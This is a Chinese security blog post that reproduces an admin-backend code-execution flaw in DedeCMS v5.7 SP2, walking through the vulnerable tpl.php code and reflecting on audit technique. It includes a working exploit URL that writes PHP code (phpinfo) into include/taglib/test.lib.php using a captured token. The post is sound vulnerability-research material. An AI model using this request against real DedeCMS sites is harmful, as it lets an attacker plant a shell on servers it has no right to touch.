dedecms v5.7 sp2代码执行漏洞复现
终于复现成功一个漏洞了~~ 不过是后台的一个漏洞
– 源码地址:http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-UTF8-SP2.tar.gz
漏洞复现
要有后台管理员账号密码,登录后台。
访问/dede/tpl.php?action=upload,审查源码,获取我们的token值。
然后访问:1
http://127.0.0.1/dedev5.7/dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=abb438be63426baeee2db81a27dfd910
后面加上我们上一步获取的token值。
然后访问我们的1
http://127.0.0.1/dedev5.7/include/taglib/test.lib.php
发现我们的代码写进去了。
访问include/taglib/test.lib.php
漏洞复现
想一想我们的思路:
1、获取token值
2、访问指定的链接
就把我们的代码写入到/include/taglib/xxx.lib.php中
token值很容易获取,那么问题就是在那个链接上面:1
http://127.0.0.1/dedev5.7/dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=abb438be63426baeee2db81a27dfd910
看一下参数,就知道这是一个文件保存的操作。
问题出现在tpl.php
这个文件代码也没有多少。
很快就能定位到问题代码。不过我这里可能是编码的原因有点乱码,但是这问题不大,我们把逻辑结构看懂就行了。
首先会匹配正则, 要以.lib.php结尾。
然后会将 $content 写入到 $filename 中。
那么我们要跟踪一下文件对这两个参数进行的处理。
然后我们回过头来看整个文件的代码。1
2
3
4
5$filename = preg_replace("#[\/\\\\]#", '', $filename); //line21
$tagname = preg_replace("#\.lib\.php$#i", "", $filename); //line260
$content = stripslashes($content); //line261
可以看出,只有替换,并没有对参数进行安全防护措施。
思考
又是一个安全防护不到位的一个漏洞,为什么就没挖到呢。
于是用seay源代码审计扫了一下。没有扫出这个漏洞点。
发现这个点是后台的一个功能点。
代码审计还是需要多方面考虑,以前一直在看代码,没有从功能点上去考虑,可以转换一下代码审计的思路,尝试去通过功能点,去思考可能会存在什么漏洞,然后去看源码。
对于后台,通常不管是渗透测试、还是代码审计,目标都是拿shell,那么我们就要多多考虑对文件进行的操作了。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:dedecms v5.7 sp2代码执行漏洞复现
本文作者:sher10ck
发布时间:2019-08-06, 10:57:43
最后更新:2020-01-13, 13:04:55
原始链接:http://sherlocz.github.io/2019/08/06/dedecms-v5-7-sp2代码执行漏洞复现/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。